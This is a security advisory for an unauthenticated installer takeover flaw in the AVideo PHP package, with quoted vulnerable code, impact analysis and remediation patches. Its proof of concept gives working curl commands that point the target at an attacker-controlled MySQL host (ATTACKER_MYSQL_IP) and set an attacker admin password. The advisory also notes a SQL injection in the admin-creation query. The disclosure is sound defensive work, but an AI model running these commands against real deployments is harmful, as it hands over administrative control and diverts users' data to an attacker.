GHSA-2f9h-23f7-8gcx CVE-2026-33038
AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.51%
- Chance of exploitation in the next 30 days. Higher than 43.42% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- Fix
- None yet
- No fixed version published
Description
Summary
The install/checkConfiguration.php endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.
Affected Component
install/checkConfiguration.php— entire file (lines 1-273)
Description
No authentication or access restriction on installer endpoint
The checkConfiguration.php file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:
// install/checkConfiguration.php — lines 2-5
if (file_exists("../videos/configuration.php")) {
error_log("Can not create configuration again: ". json_encode($_SERVER));
exit;
}
If videos/configuration.php does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.
Attacker-controlled database host eliminates credential guessing
Unlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:
// install/checkConfiguration.php — line 25
$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], "", $_POST['databasePort']);
The attacker can:
- Run their own MySQL server with the AVideo schema pre-loaded
- Set
databaseHostto their server's IP - The connection succeeds (attacker controls the DB)
- The configuration file is written pointing the application at the attacker's database permanently
Admin account creation with unsanitized input
The admin user is created with direct POST parameter concatenation into SQL:
// install/checkConfiguration.php — line 120
$sql = "INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '"
. $_POST['contactEmail'] . "', '" . md5($_POST['systemAdminPass']) . "', now(), now(), true)";
This has two issues: (1) the attacker controls the admin password, and (2) $_POST['contactEmail'] is directly concatenated into SQL without escaping (SQL injection).
Configuration file written with attacker-controlled values
The configuration file is written to disk with all attacker-supplied values embedded:
// install/checkConfiguration.php — lines 238-247
$videosDir = $_POST['systemRootPath'].'videos/';
if(!is_dir($videosDir)){
mkdir($videosDir, 0777, true);
}
$fp = fopen("{$videosDir}configuration.php", "wb");
fwrite($fp, $content);
fclose($fp);
The $content variable (built at lines 188-236) embeds $_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], $_POST['webSiteRootURL'], $_POST['systemRootPath'], and $_POST['salt'] directly into the PHP configuration file.
Inconsistent defense: CLI installer is protected, web endpoint is not
The CLI installer (install/install.php) properly restricts access:
// install/install.php — lines 3-5
if (!isCommandLineInterface()) {
die('Command Line only');
}
The web endpoint (checkConfiguration.php) lacks any equivalent protection, creating an inconsistent defense pattern.
No web server protection on install directory
There is no .htaccess file in the install/ directory. The root .htaccess does not block access to install/. The endpoint is directly accessible at /install/checkConfiguration.php.
Execution chain
- Attacker discovers an AVideo instance where
videos/configuration.phpdoes not exist (fresh or re-deployed) - Attacker sends POST to
/install/checkConfiguration.phpwith their own database host, admin password, and site configuration - The script connects to the attacker's database (or the target's with guessed/default credentials)
- Tables are created, admin user is inserted with attacker's password
configuration.phpis written to disk, permanently configuring the application- Attacker logs in as admin with full control over the application
Proof of Concept
Step 1: Set up an attacker-controlled MySQL server with the AVideo schema:
# On attacker's server
mysql -e "CREATE DATABASE avideo;"
mysql avideo < database.sql # Use AVideo's own schema file
Step 2: Send the installation request to the target:
curl -s -X POST https://TARGET/install/checkConfiguration.php \
-d 'systemRootPath=/var/www/html/AVideo/' \
-d 'databaseHost=ATTACKER_MYSQL_IP' \
-d 'databasePort=3306' \
-d 'databaseUser=attacker' \
-d 'databasePass=attacker_pass' \
-d 'databaseName=avideo' \
-d 'createTables=1' \
-d 'contactEmail=attacker@example.com' \
-d 'systemAdminPass=AttackerPass123!' \
-d 'webSiteTitle=Pwned' \
-d 'mainLanguage=en_US' \
-d 'webSiteRootURL=https://TARGET/'
Step 3: Log in as admin:
Username: admin
Password: AttackerPass123!
The attacker now has full administrative access. If using their own database, they control all application data.
Impact
- Full application takeover: Attacker becomes the sole admin with complete control
- Persistent backdoor via configuration: The
videos/configuration.phpfile is written with attacker-controlled database credentials, ensuring persistent access even after the attack - Data exfiltration: If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker
- Remote code execution potential: Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution
- SQL injection bonus:
$_POST['contactEmail']on line 120 is directly concatenated into SQL, allowing additional database manipulation
Recommended Remediation
Option 1: Add a one-time setup token (preferred)
Generate a random setup token during deployment that must be provided to complete installation:
// At the top of install/checkConfiguration.php, after the file_exists check:
// Require a setup token that was generated during deployment
$setupTokenFile = __DIR__ . '/../videos/.setup_token';
if (!file_exists($setupTokenFile)) {
$obj = new stdClass();
$obj->error = "Setup token file not found. Create videos/.setup_token with a random secret.";
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$expectedToken = trim(file_get_contents($setupTokenFile));
if (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {
$obj = new stdClass();
$obj->error = "Invalid setup token.";
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
Option 2: Restrict installer to localhost/CLI only
Block web access to the installer entirely:
// At the top of install/checkConfiguration.php, after the file_exists check:
if (!isCommandLineInterface()) {
$allowedIPs = ['127.0.0.1', '::1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {
header('Content-Type: application/json');
echo json_encode(['error' => 'Installation is only allowed from localhost']);
exit;
}
}
Additionally, add an .htaccess file in the install/ directory:
# install/.htaccess
<Files "checkConfiguration.php">
Require local
</Files>
Additional fixes needed
- Parameterize SQL queries on line 120 to prevent SQL injection:
$stmt = $mysqli->prepare("INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)");
$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()
$stmt->bind_param("ss", $_POST['contactEmail'], $hashedPass);
$stmt->execute();
- Upgrade password hashing from
md5()topassword_hash()withPASSWORD_BCRYPTorPASSWORD_ARGON2ID.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 25.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor